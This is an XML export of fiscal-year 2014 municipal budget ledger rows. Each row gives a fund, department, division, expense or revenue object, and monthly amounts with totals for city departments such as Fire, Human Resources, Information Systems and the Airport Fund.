<row _id="13194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6938.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>101</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7039.0</total></row>
<row _id="13195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>45151.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>689</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45840.0</total></row>
<row _id="13196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16641.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>205</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16846.0</total></row>
<row _id="13197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5996.0</total></row>
<row _id="13198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1982.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1982.0</total></row>
<row _id="13199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3387.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3387.0</total></row>
<row _id="13200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="13201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2329.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2329.0</total></row>
<row _id="13202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2550.0</total></row>
<row _id="13203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2176.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2176.0</total></row>
<row _id="13204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8136.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8136.0</total></row>
<row _id="13205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2278.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>19</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2297.0</total></row>
<row _id="13206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>418.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>418.0</total></row>
<row _id="13207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>205871.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4167.0</january><february>-16632</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>193406.0</total></row>
<row _id="13208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>42.0</january><february>-104</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1086.0</total></row>
<row _id="13209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2300.0</total></row>
<row _id="13210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1518.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1518.0</total></row>
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<row _id="13212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780.0</total></row>
<row _id="13213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>18.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18.0</total></row>
<row _id="13214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407509.0</object><object_description>CAPITAL GR-MOSIP</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>-1182000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1182000.0</total></row>
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<row _id="13216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3338.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3338.0</total></row>
<row _id="13217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566570.0</object><object_description>PERSONNEL EXAM EXPENSES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67000.0</total></row>
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<row _id="13220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4728.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4728.0</total></row>
<row _id="13221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2800.0</total></row>
<row _id="13222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511810.0</object><object_description>TUITION REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>56900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56900.0</total></row>
<row _id="13223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4843.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>56</december><january>-11.66</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4887.34</total></row>
<row _id="13224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>143000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>143000.0</total></row>
<row _id="13225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-67000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67000.0</total></row>
<row _id="13226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>770.67</june><total>770.67</total></row>
<row _id="13227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>13632.43</june><total>13632.43</total></row>
<row _id="13228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>315000</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>315000.0</total></row>
<row _id="13229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401010.0</object><object_description>SWIM CENTER-WET WORKOUTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-17690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17690.0</total></row>
<row _id="13230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5291.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5291.0</total></row>
<row _id="13231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>32687.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>400</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33087.0</total></row>
<row _id="13232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21906.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21906.0</total></row>
<row _id="13233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7443.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7443.0</total></row>
<row _id="13234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402140.0</object><object_description>AIRPORT - TIE DOWN CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-133900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-133900.0</total></row>
<row _id="13235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>53330.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53330.0</total></row>
<row _id="13236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="13237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="13238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577190.0</object><object_description>REPAYMENT OF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500000.0</total></row>
<row _id="13239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19885.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19885.0</total></row>
<row _id="13240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1432743.0</july><august>0</august><september>0</september><october>0</october><november>-106127</november><december>21656</december><january>4521.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1352793.0</total></row>
<row _id="13241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8119.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8119.0</total></row>
<row _id="13242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26033.0</july><august>0</august><september>0</september><october>0</october><november>-2028</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24005.0</total></row>
<row _id="13243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1563.0</july><august>0</august><september>0</september><october>0</october><november>-122</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1441.0</total></row>
<row _id="13244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4151.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4151.0</total></row>
<row _id="13245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
